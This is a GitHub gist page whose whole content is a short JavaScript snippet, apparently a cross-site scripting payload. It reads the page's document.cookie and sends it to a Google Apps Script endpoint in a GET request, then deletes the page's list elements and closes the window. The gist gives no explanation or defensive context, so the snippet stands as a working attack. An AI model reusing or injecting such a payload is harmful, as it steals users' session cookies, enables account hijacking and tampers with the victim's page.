Skip to content

Instantly share code, notes, and snippets.

@matthewpwatkins
Last active April 16, 2017 19:41
Show Gist options
  • Save matthewpwatkins/22a4e6ff236c1932a58a79bef3496225 to your computer and use it in GitHub Desktop.
Save matthewpwatkins/22a4e6ff236c1932a58a79bef3496225 to your computer and use it in GitHub Desktop.
console.log('Executing');
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://script.google.com/macros/s/AKfycbyC8BnFpfUEDM9FUuaQDwd5GhNWFTHKuMzwyEz19q1jC8XyMOY/exec?mycookies=' + document.cookie,true);
xmlhttp.send();
console.log('Executed');
var element = document.getElementsByTagName("ul"), index;
console.log(element.length);
for (index = element.length - 1; index >= 0; index--) {
element[index].parentNode.removeChild(element[index]);
}
window.close();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment